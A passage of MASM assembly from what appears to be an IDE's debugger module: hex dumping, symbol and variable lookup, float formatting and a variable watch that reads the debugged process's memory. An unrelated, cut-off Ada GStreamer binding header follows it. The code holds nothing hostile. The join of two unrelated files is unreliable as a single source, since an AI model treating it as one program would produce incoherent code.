HexWORD endp
HexDWORD proc uses ecx ebx edi,lpBuff:DWORD,Val:DWORD
mov edi,lpBuff
mov ebx,Val
xor ecx,ecx
.while ecx<4
rol ebx,8
mov eax,ebx
invoke HexBYTE,edi,eax
inc edi
inc edi
inc ecx
.endw
mov byte ptr [edi],0
ret
HexDWORD endp
HexQWORD proc uses ecx ebx edi,lpBuff:DWORD,Val:QWORD
mov edi,lpBuff
mov ebx,dword ptr Val[4]
xor ecx,ecx
.while ecx<4
rol ebx,8
mov eax,ebx
invoke HexBYTE,edi,eax
inc edi
inc edi
inc ecx
.endw
mov ebx,dword ptr Val
xor ecx,ecx
.while ecx<4
rol ebx,8
mov eax,ebx
invoke HexBYTE,edi,eax
inc edi
inc edi
inc ecx
.endw
mov byte ptr [edi],0
ret
HexQWORD endp
BinOut proc uses ecx edi,lpBuff:DWORD,Val:DWORD,nSize:DWORD
xor ecx,ecx
mov eax,Val
mov edi,lpBuff
.while ecx<nSize
mov edx,nSize
sub edx,ecx
.if (edx==8 || edx==16 || edx==24) && ecx
mov byte ptr [edi+ecx],'-'
inc edi
.endif
shl eax,1
mov byte ptr [edi+ecx],'0'
.if CARRY?
mov byte ptr [edi+ecx],'1'
.endif
inc ecx
.endw
mov byte ptr [edi+ecx],'b'
mov byte ptr [edi+ecx+1],0
ret
BinOut endp
DumpLineBYTE proc uses ebx esi edi,hWin:HWND,nAdr:DWORD,lpDumpData:DWORD,nBytes:DWORD
LOCAL buffer[256]:BYTE
mov ebx,nAdr
mov esi,lpDumpData
lea edi,buffer
xor ecx,ecx
.while ecx<4
rol ebx,8
mov eax,ebx
invoke HexBYTE,edi,eax
inc edi
inc edi
inc ecx
.endw
mov byte ptr [edi],' '
inc edi
xor ecx,ecx
.while ecx<nBytes
mov al,[esi+ecx]
invoke HexBYTE,edi,eax
add edi,2
inc ecx
.if ecx==8
mov byte ptr [edi],'-'
.else
mov byte ptr [edi],' '
.endif
inc edi
.endw
mov ecx,16
sub ecx,nBytes
.while ecx
mov dword ptr [edi],' '
add edi,3
dec ecx
.endw
xor ecx,ecx
.while ecx<nBytes
mov al,[esi+ecx]
.if al<20h || al>=80h
mov al,'.'
.endif
mov [edi],al
inc edi
inc ecx
.endw
mov word ptr [edi],0Dh
invoke SendMessage,hWin,EM_REPLACESEL,FALSE,addr buffer
ret
DumpLineBYTE endp
DumpLineWORD proc uses ebx esi edi,hWin:HWND,nAdr:DWORD,lpDumpData:DWORD,nBytes:DWORD
LOCAL buffer[256]:BYTE
mov ebx,nAdr
mov esi,lpDumpData
lea edi,buffer
xor ecx,ecx
.while ecx<4
rol ebx,8
mov eax,ebx
invoke HexBYTE,edi,eax
inc edi
inc edi
inc ecx
.endw
mov byte ptr [edi],' '
inc edi
xor ecx,ecx
.while ecx<nBytes
mov ax,[esi+ecx]
invoke HexWORD,edi,eax
add edi,4
add ecx,2
.if ecx==8
mov byte ptr [edi],'-'
.else
mov byte ptr [edi],' '
.endif
inc edi
.endw
mov ecx,16
sub ecx,nBytes
.while ecx
mov dword ptr [edi],' '
add edi,3
dec ecx
.endw
xor ecx,ecx
.while ecx<nBytes
mov al,[esi+ecx]
.if al<20h || al>=80h
mov al,'.'
.endif
mov [edi],al
inc edi
inc ecx
.endw
mov word ptr [edi],0Dh
invoke SendMessage,hWin,EM_REPLACESEL,FALSE,addr buffer
ret
DumpLineWORD endp
DumpLineDWORD proc uses ebx esi edi,hWin:HWND,nAdr:DWORD,lpDumpData:DWORD,nBytes:DWORD
LOCAL buffer[256]:BYTE
mov ebx,nAdr
mov esi,lpDumpData
lea edi,buffer
xor ecx,ecx
.while ecx<4
rol ebx,8
mov eax,ebx
invoke HexBYTE,edi,eax
inc edi
inc edi
inc ecx
.endw
mov byte ptr [edi],' '
inc edi
xor ecx,ecx
.while ecx<nBytes
mov eax,[esi+ecx]
invoke HexDWORD,edi,eax
add edi,8
add ecx,4
.if ecx==8
mov byte ptr [edi],'-'
.else
mov byte ptr [edi],' '
.endif
inc edi
.endw
mov ecx,16
sub ecx,nBytes
.while ecx
mov dword ptr [edi],' '
add edi,3
dec ecx
.endw
xor ecx,ecx
.while ecx<nBytes
mov al,[esi+ecx]
.if al<20h || al>=80h
mov al,'.'
.endif
mov [edi],al
inc edi
inc ecx
.endw
mov word ptr [edi],0Dh
invoke SendMessage,hWin,EM_REPLACESEL,FALSE,addr buffer
ret
DumpLineDWORD endp
DumpLineQWORD proc uses ebx esi edi,hWin:HWND,nAdr:DWORD,lpDumpData:DWORD,nBytes:DWORD
LOCAL buffer[256]:BYTE
mov ebx,nAdr
mov esi,lpDumpData
lea edi,buffer
xor ecx,ecx
.while ecx<4
rol ebx,8
mov eax,ebx
invoke HexBYTE,edi,eax
inc edi
inc edi
inc ecx
.endw
mov byte ptr [edi],' '
inc edi
xor ecx,ecx
.while ecx<nBytes
invoke HexQWORD,edi,qword ptr[esi+ecx]
add edi,16
add ecx,8
.if ecx==8
mov byte ptr [edi],'-'
.else
mov byte ptr [edi],' '
.endif
inc edi
.endw
mov ecx,16
sub ecx,nBytes
.while ecx
mov dword ptr [edi],' '
add edi,3
dec ecx
.endw
xor ecx,ecx
.while ecx<nBytes
mov al,[esi+ecx]
.if al<20h || al>=80h
mov al,'.'
.endif
mov [edi],al
inc edi
inc ecx
.endw
mov word ptr [edi],0Dh
invoke SendMessage,hWin,EM_REPLACESEL,FALSE,addr buffer
ret
DumpLineQWORD endp
FindWord proc uses esi,lpWord:DWORD,lpType:DWORD
invoke SendMessage,hPrp,PRM_FINDFIRST,lpType,lpWord
mov esi,eax
.if esi
call GetLen
invoke strcmpn,esi,lpWord,eax
.if eax
@@:
invoke SendMessage,hPrp,PRM_FINDNEXT,0,0
mov esi,eax
.if esi
call GetLen
invoke strcmpn,esi,lpWord,eax
.if eax
jmp @b
.endif
.endif
.endif
.endif
.if esi
invoke SendMessage,hPrp,PRM_FINDGETTYPE,0,0
mov edx,eax
.endif
mov eax,esi
ret
GetLen:
xor eax,eax
.while byte ptr [esi+eax]!=':' && byte ptr [esi+eax]!='['
inc eax
.endw
retn
FindWord endp
FindTypeSize proc uses ebx esi,lpType:DWORD
LOCAL buffer[256]:BYTE
mov eax,lpType
mov eax,[eax]
and eax,0FF5F5F5Fh
.if eax==' RTP'
mov eax,4
mov edx,TRUE
.else
invoke FindWord,lpType,addr szPrpTWc
.if eax
mov ebx,edx
mov esi,eax
invoke strlen,esi
lea esi,[esi+eax+1]
invoke DoMath,esi
mov edx,eax
.if eax
mov edx,ebx
mov eax,var.Value
.endif
.else
mov ebx,dbg.inxtype
mov esi,dbg.hMemType
.while ebx
invoke strcmp,lpType,addr [esi].DEBUGTYPE.szName
.if !eax
mov eax,[esi].DEBUGTYPE.nSize
mov edx,'T'
jmp Ex
.endif
dec ebx
lea esi,[esi+sizeof DEBUGTYPE]
.endw
; Type size not found
xor eax,eax
xor edx,edx
.endif
.endif
Ex:
ret
FindTypeSize endp
FindLine proc uses ebx esi edi,Address:DWORD
LOCAL inx:DWORD
LOCAL lower:DWORD
LOCAL upper:DWORD
mov eax,dbg.lastadr
.if Address>eax
mov Address,eax
.endif
mov eax,dbg.inxline
mov lower,0
mov upper,eax
xor ebx,ebx
.while TRUE
mov eax,upper
sub eax,lower
.break .if !eax
shr eax,1
add eax,lower
mov inx,eax
call Compare
.if !eax || ebx>30
; Found
jmp Ex
.elseif sdword ptr eax<0
; Smaller
mov eax,inx
mov upper,eax
.elseif sdword ptr eax>0
; Larger
mov eax,inx
mov lower,eax
.endif
inc ebx
.endw
; Not found, should never happend
call Linear
Ex:
mov eax,edi
ret
Compare:
call GetPointerFromInx
mov eax,Address
sub eax,[edi].DEBUGLINE.Address
retn
GetPointerFromInx:
mov eax,inx
mov edx,sizeof DEBUGLINE
mul edx
mov edi,dbg.hMemLine
lea edi,[edi+eax]
retn
Linear:
mov ebx,dbg.inxline
mov edi,dbg.hMemLine
mov eax,Address
.while ebx
.if eax==[edi].DEBUGLINE.Address
retn
.elseif eax<[edi].DEBUGLINE.Address
lea edi,[edi-sizeof DEBUGLINE]
retn
.endif
lea edi,[edi+sizeof DEBUGLINE]
dec ebx
.endw
lea edi,[edi-sizeof DEBUGLINE]
retn
FindLine endp
GetPredefinedDatatype proc uses esi edi,lpType:DWORD
mov edi,offset datatype
.while [edi].DATATYPE.lpszType
invoke strcmpi,[edi].DATATYPE.lpszType,lpType
.if !eax
movzx edx,[edi].DATATYPE.nSize
movzx ecx,[edi].DATATYPE.fSigned
mov eax,[edi].DATATYPE.lpszConvertType
jmp Ex
.endif
lea edi,[edi+sizeof DATATYPE]
.endw
xor eax,eax
Ex:
ret
GetPredefinedDatatype endp
FindSymbol proc uses esi,lpName:DWORD
;Get pointer to symbol list
mov esi,dbg.hMemSymbol
;Loop trough the symbol list
.while [esi].DEBUGSYMBOL.szName
invoke strcmp,lpName,addr [esi].DEBUGSYMBOL.szName
.if !eax
mov eax,esi
jmp Ex
.endif
;Move to next symbol
lea esi,[esi+sizeof DEBUGSYMBOL]
.endw
; Not found
xor eax,eax
Ex:
ret
FindSymbol endp
FindLocalVar proc uses esi edi,lpName:DWORD,lplpLocal:DWORD
mov esi,lplpLocal
mov esi,[esi]
.while byte ptr [esi+sizeof DEBUGVAR]
invoke strcmp,addr [esi+sizeof DEBUGVAR],lpName
.if !eax
invoke strlen,addr [esi+sizeof DEBUGVAR]
invoke strcpy,addr var.szArray,addr [esi+eax+1+sizeof DEBUGVAR]
mov eax,[esi].DEBUGVAR.nSize
mov var.nSize,eax
mov eax,[esi].DEBUGVAR.nArray
mov var.nArray,eax
mov eax,[esi].DEBUGVAR.nOfs
mov var.nOfs,eax
mov eax,TRUE
jmp Ex
.endif
lea esi,[esi+sizeof DEBUGVAR]
invoke strlen,esi
lea esi,[esi+eax+1]
invoke strlen,esi
lea esi,[esi+eax+1]
.endw
mov eax,lplpLocal
mov [eax],esi
xor eax,eax
Ex:
ret
FindLocalVar endp
FindLastLineNumber proc uses ebx esi edi,lpLine:DWORD,Address:DWORD
mov esi,lpLine
mov eax,Address
xor ecx,ecx
xor edi,edi
movzx ebx,[esi].DEBUGLINE.FileID
.while [esi].DEBUGLINE.LineNumber
.if eax<[esi].DEBUGLINE.Address
jmp Ex
.endif
.if [esi].DEBUGLINE.LineNumber>ecx && bx==[esi].DEBUGLINE.FileID
mov ecx,[esi].DEBUGLINE.LineNumber
mov edi,esi
.endif
lea esi,[esi+sizeof DEBUGLINE]
.endw
Ex:
mov eax,edi
ret
FindLastLineNumber endp
FindLocal proc uses esi,lpName:DWORD,nLine:DWORD
LOCAL nOfs:DWORD
LOCAL nSize:DWORD
LOCAL lpLocal:DWORD
mov esi,dbg.lpProc
invoke FindLine,[esi].DEBUGSYMBOL.Address
push eax
mov edx,[esi].DEBUGSYMBOL.Address
add edx,[esi].DEBUGSYMBOL.nSize
invoke FindLastLineNumber,eax,edx
pop edx
.if edx && eax
mov ecx,[edx].DEBUGLINE.LineNumber
mov eax,[eax].DEBUGLINE.LineNumber
.if nLine>=ecx && nLine<eax
movzx eax,[edx].DEBUGLINE.FileID
mov edx,sizeof DEBUGSOURCE
mul edx
add eax,dbg.hMemSource
mov eax,[eax].DEBUGSOURCE.FileID
mov var.FileID,eax
mov eax,[esi].DEBUGSYMBOL.lpType
mov lpLocal,eax
invoke FindLocalVar,lpName,addr lpLocal
.if eax
mov edx,var.nInx
.if edx<var.nArray
; PROC Parameter
mov eax,var.nSize
mul edx
add eax,dbg.context.regEbp
add eax,var.nOfs
add eax,4
mov var.Address,eax
invoke strcpy,addr var.szName,lpName
mov eax,'P'
jmp Ex
.endif
.else
; LOCAL
mov eax,lpLocal
lea eax,[eax+sizeof DEBUGVAR+2]
mov lpLocal,eax
invoke FindLocalVar,lpName,addr lpLocal
.if eax
mov edx,var.nInx
.if edx<var.nArray
mov eax,var.nSize
mul edx
add eax,dbg.context.regEbp
sub eax,var.nOfs
mov var.Address,eax
invoke strcpy,addr var.szName,lpName
mov eax,'L'
jmp Ex
.endif
.endif
.endif
.endif
.endif
xor eax,eax
Ex:
ret
FindLocal endp
FindReg proc uses esi,lpName:DWORD
mov esi,offset reg32
.while [esi].REG.szName
invoke strcmpi,lpName,addr [esi].REG.szName
.if !eax
mov eax,esi
jmp Ex
.endif
lea esi,[esi+sizeof REG]
.endw
xor eax,eax
Ex:
ret
FindReg endp
GetIndex proc uses esi,lpVar:DWORD
mov esi,lpVar
.while byte ptr [esi]
.if byte ptr [esi]=='('
mov byte ptr [esi],0
inc esi
invoke CalculateIt,'('
jmp Ex
.endif
inc esi
.endw
xor eax,eax
Ex:
ret
GetIndex endp
FindVar proc uses esi edi,lpName:DWORD,nLine:DWORD
push var.IsSZ
invoke RtlZeroMemory,addr var,sizeof var
pop var.IsSZ
invoke GetIndex,lpName
mov var.nInx,eax
invoke FindReg,lpName
.if eax
; REGISTER
mov esi,eax
invoke strcpy,addr var.szName,lpName
mov eax,[esi].REG.nSize
mov var.nSize,eax
mov eax,[esi].REG.nOfs
lea eax,[dbg.context+eax]
mov var.Address,eax
mov eax,'R'
jmp Ex
.endif
.if dbg.lpProc
; Is in a proc, find parameter or local
invoke FindLocal,lpName,nLine
.if eax
jmp Ex
.endif
.endif
mov var.FileID,0
; Global
invoke FindSymbol,lpName
.if eax
mov esi,eax
invoke strcpy,addr var.szName,addr [esi].DEBUGSYMBOL.szName
.if [esi].DEBUGSYMBOL.nType=='p'
; PROC
mov var.nType,99
mov eax,[esi].DEBUGSYMBOL.nSize
mov var.nSize,eax
mov eax,[esi].DEBUGSYMBOL.Address
mov var.Address,eax
mov var.nArray,1
mov eax,'p'
jmp Ex
.elseif [esi].DEBUGSYMBOL.nType=='d'
; GLOBAL
mov eax,var.nInx
mov edx,[esi].DEBUGSYMBOL.nSize
mul edx
add eax,[esi].DEBUGSYMBOL.Address
mov var.Address,eax
mov eax,[esi].DEBUGSYMBOL.nSize
mov var.nSize,eax
movzx eax,[esi].DEBUGSYMBOL.nType
mov var.nType,eax
mov esi,[esi].DEBUGSYMBOL.lpType
; Point to type
mov eax,var.nInx
.if eax<[esi].DEBUGVAR.nArray
mov eax,[esi].DEBUGVAR.nArray
mov var.nArray,eax
invoke strlen,addr [esi+sizeof DEBUGVAR]
lea edi,[esi+eax+1+sizeof DEBUGVAR]
invoke strcpy,addr var.szArray,edi
mov eax,'d'
jmp Ex
.else
mov var.nErr,ERR_INDEX
xor eax,eax
jmp Ex
.endif
.endif
.else
invoke IsHex,lpName
.if eax
invoke HexToBin,lpName
mov var.Value,eax
mov eax,'H'
jmp Ex
.else
invoke IsDec,lpName
.if eax
invoke DecToBin,lpName
mov var.Value,eax
mov eax,'D'
jmp Ex
.else
invoke FindTypeSize,lpName
.if edx
mov var.Value,eax
mov eax,'C'
.if edx=='T'
mov eax,edx
.endif
jmp Ex
.endif
.endif
.endif
.endif
mov var.nErr,ERR_NOTFOUND
xor eax,eax
Ex:
ret
FindVar endp
FormatOutput proc uses ebx,lpOutput:DWORD
.if var.lpFormat
mov ebx,esp
mov edx,var.nFormat
.if edx & FMT_SZ
lea eax,var.szValue
push eax
.endif
.if edx & FMT_DEC
push var.Value
.endif
.if edx & FMT_HEX
push var.Value
.endif
.if edx & FMT_SIZE
push var.nSize
.endif
.if edx & FMT_ADDRESS
push var.Address
.endif
.if edx & FMT_TYPE
lea eax,var.szArray
push eax
.endif
.if edx & FMT_NAME
lea eax,var.szName
push eax
.endif
invoke wsprintf,lpOutput,var.lpFormat
mov esp,ebx
.endif
ret
FormatOutput endp
FpToAscii proc USES esi edi,lpFpin:PTR TBYTE,lpStr:PTR CHAR,fSci:DWORD
LOCAL iExp:DWORD
LOCAL stat:WORD
LOCAL mystat:WORD
LOCAL sztemp[32]:BYTE
LOCAL temp:TBYTE
mov esi,lpFpin
mov edi,lpStr
.if dword ptr [esi]== 0 && dword ptr [esi+4]==0
; Special case zero. fxtract fails for zero.
mov word ptr [edi], '0'
ret
.endif
; Check for a negative number.
push [esi+6]
.if sdword ptr [esi+6]<0
and byte ptr [esi+9],07fh ; change to positive
mov byte ptr [edi],'-' ; store a minus sign
inc edi
.endif
fld TBYTE ptr [esi]
fld st(0)
; Compute the closest power of 10 below the number. We can't get an
; exact value because of rounding. We could get close by adding in
; log10(mantissa), but it still wouldn't be exact. Since we'll have to
; check the result anyway, it's silly to waste cycles worrying about
; the mantissa.
;
; The exponent is basically log2(lpfpin). Those of you who remember
; algebra realize that log2(lpfpin) x log10(2) = log10(lpfpin), which is
; what we want.
fxtract ; ST=> mantissa, exponent, [lpfpin]
fstp st(0) ; drop the mantissa
fldlg2 ; push log10(2)
fmulp st(1),st ; ST = log10([lpfpin]), [lpfpin]
fistp iExp ; ST = [lpfpin]
; A 10-byte double can carry 19.5 digits, but fbstp only stores 18.
.IF iExp<18
fld st(0) ; ST = lpfpin, lpfpin
frndint ; ST = int(lpfpin), lpfpin
fcomp st(1) ; ST = lpfpin, status set
fstsw ax
.IF ah&FP_EQUALTO && !fSci ; if EQUAL
; We have an integer! Lucky day. Go convert it into a temp buffer.
call FloatToBCD
mov eax,17
mov ecx,iExp
sub eax,ecx
inc ecx
lea esi,[sztemp+eax]
; The off-by-one order of magnitude problem below can hit us here.
; We just trim off the possible leading zero.
.IF byte ptr [esi]=='0'
inc esi
dec ecx
.ENDIF
; Copy the rest of the converted BCD value to our buffer.
rep movsb
jmp ftsExit
.ENDIF
.ENDIF
; Have fbstp round to 17 places.
mov eax, 17 ; experiment
sub eax,iExp ; adjust exponent to 17
call PowerOf10
; Either we have exactly 17 digits, or we have exactly 16 digits. We can
; detect that condition and adjust now.
fcom ten16
; x0xxxx00 means top of stack > ten16
; x0xxxx01 means top of stack < ten16
; x1xxxx00 means top of stack = ten16
fstsw ax
.IF ah & 1
fmul ten
dec iExp
.ENDIF
; Go convert to BCD.
call FloatToBCD
lea esi,sztemp ; point to converted buffer
; If the exponent is between -15 and 16, we should express this as a number
; without scientific notation.
mov ecx, iExp
.IF SDWORD PTR ecx>=-15 && SDWORD PTR ecx<=16 && !fSci
; If the exponent is less than zero, we insert '0.', then -ecx
; leading zeros, then 16 digits of mantissa. If the exponent is
; positive, we copy ecx+1 digits, then a decimal point (maybe), then
; the remaining 16-ecx digits.
inc ecx
.IF SDWORD PTR ecx<=0
mov word ptr [edi],'.0'
add edi, 2
neg ecx
mov al,'0'
rep stosb
mov ecx,18
.ELSE
.if byte ptr [esi]=='0' && ecx>1
inc esi
dec ecx
.endif
rep movsb
mov byte ptr [edi],'.'
inc edi
mov ecx,17
sub ecx,iExp
.ENDIF
rep movsb
; Trim off trailing zeros.
.WHILE byte ptr [edi-1]=='0'
dec edi
.ENDW
; If we cleared out all the decimal digits, kill the decimal point, too.
.IF byte ptr [edi-1]=='.'
dec edi
.ENDIF
; That's it.
jmp ftsExit
.ENDIF
; Now convert this to a standard, usable format. If needed, a minus
; sign is already present in the outgoing buffer, and edi already points
; past it.
mov ecx,17
.if byte ptr [esi]=='0'
inc esi
dec iExp
dec ecx
.endif
movsb ; copy the first digit
mov byte ptr [edi],'.' ; plop in a decimal point
inc edi
rep movsb
; The printf %g specified trims off trailing zeros here. I dislike
; this, so I've disabled it. Comment out the if 0 and endif if you
; want this.
.WHILE byte ptr [edi-1]=='0'
dec edi
.ENDW
.if byte ptr [edi-1]=='.'
dec edi
.endif
; Shove in the exponent.
mov byte ptr [edi],'e' ; start the exponent
mov eax,iExp
.IF sdword ptr eax<0 ; plop in the exponent sign
mov byte ptr [edi+1],'-'
neg eax
.ELSE
mov byte ptr [edi+1],'+'
.ENDIF
mov ecx, 10
xor edx,edx
div ecx
add dl,'0'
mov [edi+5],dl ; shove in the ones exponent digit
xor edx,edx
div ecx
add dl,'0'
mov [edi+4],dl ; shove in the tens exponent digit
xor edx,edx
div ecx
add dl,'0'
mov [edi+3],dl ; shove in the hundreds exponent digit
xor edx,edx
div ecx
add dl,'0'
mov [edi+2],dl ; shove in the thousands exponent digit
add edi,6 ; point to terminator
ftsExit:
; Clean up and go home.
mov esi,lpFpin
pop [esi+6]
mov byte ptr [edi],0
fwait
ret
; Convert a floating point register to ASCII.
; The result always has exactly 18 digits, with zero padding on the
; left if required.
;
; Entry: ST(0) = a number to convert, 0 <= ST(0) < 1E19.
; sztemp = an 18-character buffer.
;
; Exit: sztemp = the converted result.
FloatToBCD:
push esi
push edi
fbstp temp
; Now we need to unpack the BCD to ASCII.
lea esi,[temp]
lea edi,[sztemp]
mov ecx,8
.REPEAT
movzx ax,byte ptr [esi+ecx] ; 0000 0000 AAAA BBBB
rol ax,12 ; BBBB 0000 0000 AAAA
shr ah,4 ; 0000 BBBB 0000 AAAA
add ax,3030h ; 3B3A
stosw
dec ecx
.UNTIL SIGN?
pop edi
pop esi
retn
PowerOf10:
mov ecx,eax
.IF SDWORD PTR eax<0
neg eax
.ENDIF
fld1
mov dl,al
and edx,0fh
.IF !ZERO?
lea edx,[edx+edx*4]
fld ten_1[edx*2][-10]
fmulp st(1),st
.ENDIF
mov dl,al
shr dl,4
and edx,0fh
.IF !ZERO?
lea edx,[edx+edx*4]
fld ten_16[edx*2][-10]
fmulp st(1),st
.ENDIF
mov dl,ah
and edx,1fh
.IF !ZERO?
lea edx,[edx+edx*4]
fld ten_256[edx*2][-10]
fmulp st(1),st
.ENDIF
.IF SDWORD PTR ecx<0
fdivp st(1),st
.ELSE
fmulp st(1),st
.ENDIF
retn
FpToAscii endp
GetVarVal proc uses ebx esi edi,lpName:DWORD,nLine:DWORD,fShow:DWORD
mov var.Value,0
.if dbg.hDbgThread
invoke FindVar,lpName,nLine
.if eax=='R'
; REGISTER
mov eax,var.Address
mov eax,[eax]
mov edx,var.nSize
.if edx==2
movzx eax,ax
mov edx,offset szReg16
.elseif edx==1
movzx eax,al
mov edx,offset szReg8
.elseif edx==3
movzx eax,ah
mov edx,offset szReg8
.else
mov edx,offset szReg32
.endif
mov var.Value,eax
mov var.lpFormat,edx
mov var.nFormat,FMT_NAME or FMT_HEX or FMT_DEC
.elseif eax=='p'
; PROC
mov var.lpFormat,offset szProc
mov var.nFormat,FMT_NAME or FMT_SIZE
.elseif eax=='d'
; GLOBAL
mov eax,var.nSize
.if eax
; Known size
.if var.IsSZ==1
mov eax,var.nArray
sub eax,var.nInx
.if eax>256
mov eax,256
.endif
invoke ReadProcessMemory,dbg.hdbghand,var.Address,addr var.szValue,eax,0
mov var.lpFormat,offset szDataSZ
mov var.nFormat,FMT_NAME or FMT_TYPE or FMT_ADDRESS or FMT_SIZE or FMT_SZ
.elseif var.IsSZ==2
mov var.nErr,ERR_SYNTAX
.else
.if eax==3 || eax>4
; Struct ,union ,QWORD or TBYTE
mov var.lpFormat,offset szData
mov var.nFormat,FMT_NAME or FMT_TYPE or FMT_ADDRESS or FMT_SIZE
.else
invoke ReadProcessMemory,dbg.hdbghand,var.Address,addr var.Value,var.nSize,0
mov eax,var.nSize
mov edx,offset szData32
.if eax==1
mov edx,offset szData8
.elseif eax==2
mov edx,offset szData16
.endif
mov var.lpFormat,edx
mov var.nFormat,FMT_NAME or FMT_TYPE or FMT_ADDRESS or FMT_SIZE or FMT_HEX or FMT_DEC
.endif
.endif
.else
; Unknown size
mov var.lpFormat,offset szData
mov var.nFormat,FMT_NAME or FMT_TYPE or FMT_ADDRESS or FMT_SIZE
.endif
.elseif eax=='P'
; PROC Parameter
mov eax,var.nSize
.if eax==3 || eax>4
; Struct ,union ,QWORD or TBYTE
mov var.lpFormat,offset szParam
mov var.nFormat,FMT_NAME or FMT_TYPE or FMT_ADDRESS or FMT_SIZE
.else
invoke ReadProcessMemory,dbg.hdbghand,var.Address,addr var.Value,var.nSize,0
mov eax,var.nSize
mov edx,offset szParam32
.if eax==2
mov edx,offset szParam16
.elseif eax==1
mov edx,offset szParam8
.endif
mov var.lpFormat,edx
mov var.nFormat,FMT_NAME or FMT_TYPE or FMT_ADDRESS or FMT_SIZE or FMT_HEX or FMT_DEC
.endif
.elseif eax=='L'
; LOCAL
mov eax,var.nSize
.if eax
.if var.IsSZ==1
mov eax,var.nArray
sub eax,var.nInx
.if eax>255
mov eax,255
.endif
invoke ReadProcessMemory,dbg.hdbghand,var.Address,addr var.szValue,eax,0
mov var.lpFormat,offset szLocalSZ
mov var.nFormat,FMT_NAME or FMT_TYPE or FMT_ADDRESS or FMT_SIZE or FMT_SZ
.elseif var.IsSZ==2
mov var.nErr,ERR_SYNTAX
.else
.if eax==3 || eax>4
; Struct ,union ,QWORD or TBYTE
mov var.lpFormat, offset szLocal
mov var.nFormat,FMT_NAME or FMT_TYPE or FMT_ADDRESS or FMT_SIZE
.else
invoke ReadProcessMemory,dbg.hdbghand,var.Address,addr var.Value,var.nSize,0
mov eax,var.nSize
mov edx,offset szLocal32
.if eax==2
mov edx,offset szLocal16
.elseif eax==1
mov edx,offset szLocal8
.endif
mov var.lpFormat,edx
mov var.nFormat,FMT_NAME or FMT_TYPE or FMT_ADDRESS or FMT_SIZE or FMT_HEX or FMT_DEC
.endif
.endif
.endif
.elseif eax=='H' || eax=='D'
; Hex or Decimal value
mov var.lpFormat,offset szValue
mov var.nFormat,FMT_HEX or FMT_DEC
.elseif eax=='C'
; Constant Hex and Decimal value
invoke strcpy,addr var.szName,lpName
mov var.lpFormat,offset szConst
mov var.nFormat,FMT_NAME or FMT_HEX or FMT_DEC
.elseif eax=='T'
; TypeSize Hex and Decimal value
invoke strcpy,addr var.szName,lpName
mov var.lpFormat,offset szTypeSize
mov var.nFormat,FMT_NAME or FMT_HEX or FMT_DEC
.else
.if var.nErr==ERR_NOTFOUND
mov var.lpFormat,offset szErrVariableNotFound
mov var.nFormat,FMT_NAME
.elseif var.nErr==ERR_INDEX
mov var.lpFormat,offset szErrIndexOutOfRange
mov var.nFormat,FMT_NAME
.endif
.if fShow
invoke FormatOutput,addr outbuffer
.endif
xor eax,eax
jmp Ex
.endif
.if fShow
invoke FormatOutput,addr outbuffer
.endif
mov eax,TRUE
.else
xor eax,eax
.endif
Ex:
ret
GetVarVal endp
GetVarAdr proc lpName:DWORD,nLine:DWORD
.if dbg.hDbgThread
invoke FindVar,lpName,nLine
.if eax=='R' || eax=='P' || eax=='L'
; REGISTER, PROC Parameter or LOCAL
.elseif eax=='d'
; GLOBAL
.if !var.nType
xor eax,eax
.endif
.else
xor eax,eax
jmp Ex
.endif
.else
xor eax,eax
jmp Ex
.endif
Ex:
ret
GetVarAdr endp
WatchVars proc uses esi
LOCAL buffer[256]:BYTE
mov esi,offset szWatchList
.while byte ptr [esi]==VK_SPACE
inc esi
.endw
mov szWatchResult,0
.if byte ptr [esi]
.while byte ptr [esi]
invoke strcpy,addr buffer,esi
.if word ptr buffer==':z' || word ptr buffer==':Z'
mov var.IsSZ,1
invoke GetVarVal,addr buffer[2],dbg.prevline,TRUE
.else
invoke GetVarVal,addr buffer,dbg.prevline,TRUE
.endif
.if !eax
invoke wsprintf,addr outbuffer,addr szErrVariableNotFound,esi
.endif
invoke strcat,addr szWatchResult,addr outbuffer
invoke strcat,addr szWatchResult,addr szCR
invoke strlen,esi
lea esi,[esi+eax+1]
.endw
.endif
invoke SetWindowText,hDbgWatch,addr szWatchResult
ret
WatchVars endp
|
src/gen/gstreamer-gst_low_level-gstreamer_0_10_gst_base_gstbasesrc_h.ads | persan/A-gst | 1 | 1777 | <reponame>persan/A-gst
pragma Ada_2005;
pragma Style_Checks (Off);
pragma Warnings (Off);
with Interfaces.C; use Interfaces.C;
with glib;
with glib.Values;
with System;
limited with GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstevent_h;
with GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstelement_h;
with GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstpad_h;
-- limited -- with GStreamer.GST_Low_Level.glib_2_0_glib_gthread_h;
with GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstclock_h;
with GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstsegment_h;
with GLIB; -- with GStreamer.GST_Low_Level.glibconfig_h;
with System;
limited with GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstcaps_h;
limited with GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstbuffer_h;
limited with GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstquery_h;
with glib;
with GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstformat_h;
package GStreamer.GST_Low_Level.gstreamer_0_10_gst_base_gstbasesrc_h is
-- unsupported macro: GST_TYPE_BASE_SRC (gst_base_src_get_type())
-- arg-macro: function GST_BASE_SRC (obj)
-- return G_TYPE_CHECK_INSTANCE_CAST((obj),GST_TYPE_BASE_SRC,GstBaseSrc);
-- arg-macro: function GST_BASE_SRC_CLASS (klass)
-- return G_TYPE_CHECK_CLASS_CAST((klass),GST_TYPE_BASE_SRC,GstBaseSrcClass);
-- arg-macro: function GST_BASE_SRC_GET_CLASS (obj)
-- return G_TYPE_INSTANCE_GET_CLASS ((obj), GST_TYPE_BASE_SRC, GstBaseSrcClass);
-- arg-macro: function GST_IS_BASE_SRC (obj)
-- return G_TYPE_CHECK_INSTANCE_TYPE((obj),GST_TYPE_BASE_SRC);
-- arg-macro: function GST_IS_BASE_SRC_CLASS (klass)
-- return G_TYPE_CHECK_CLASS_TYPE((klass),GST_TYPE_BASE_SRC);
-- arg-macro: function GST_BASE_SRC_CAST (obj)
-- return (GstBaseSrc *)(obj);
-- arg-macro: function GST_BASE_SRC_PAD (obj)
-- return GST_BASE_SRC_CAST (obj).srcpad;
-- GStreamer
-- * Copyright (C) 1999,2000 <NAME> <<EMAIL>>
-- * 2000 <NAME> <<EMAIL>>
-- * 2005 <NAME> <<EMAIL>>
-- *
-- * gstbasesrc.h:
-- *
